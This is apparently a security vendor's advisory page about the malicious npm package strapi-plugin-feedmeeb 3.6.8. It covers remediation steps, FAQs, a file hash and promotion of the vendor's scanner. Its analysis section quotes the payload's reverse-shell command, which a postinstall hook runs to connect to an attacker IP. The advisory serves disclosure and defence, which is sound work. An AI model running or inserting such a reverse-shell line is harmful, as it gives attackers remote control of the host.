Which versions of strapi-plugin-feedmeeb are malicious?

The following npm versions of strapi-plugin-feedmeeb are flagged malicious: 3.6.8. Treat any of these as compromised.

How do I remediate strapi-plugin-feedmeeb if I installed it?

strapi-plugin-feedmeeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed strapi-plugin-feedmeeb — how do I know if it already compromised me?

If strapi-plugin-feedmeeb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is strapi-plugin-feedmeeb part of a known attack campaign?

Yes — strapi-plugin-feedmeeb is associated with the IN-MAL-2026-020095 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find strapi-plugin-feedmeeb across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-feedmeeb (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-feedmeeb across your stack and pipelines.

Malicious package

strapi-plugin-feedmeebnpm

strapi-plugin-feedmeeb is a confirmed malicious npm package (MAL-2026-16230) that opens a backdoor for remote access (malicious version 3.6.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in strapi-plugin-feedmeeb (npm)

MAL-2026-16230

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall strapi-plugin-feedmeeb

What this malware does

[email protected] ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form bash -i >& /dev/tcp/14.225.210.85/80 0>&1 and exec's it via child_process, with retry logic, giving the operator of 14.225.210.85 interactive command execution on the installer's host. Alongside the shell, the script collects os.hostname() and os.userInfo().username to identify the compromised machine. The package presents itself as a Strapi plugin but its install-time behavior is unrelated to any plugin function.

Malicious versions

1 flagged

3.6.8

Indicators of compromise (SHA-256)

7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-feedmeeb (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-feedmeeb across your stack and pipelines.
If you installed it — respond
strapi-plugin-feedmeeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If strapi-plugin-feedmeeb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks strapi-plugin-feedmeeb before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. strapi-plugin-feedmeeb on npm has been identified as a malicious package (version 3.6.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020095

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks strapi-plugin-feedmeeb-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database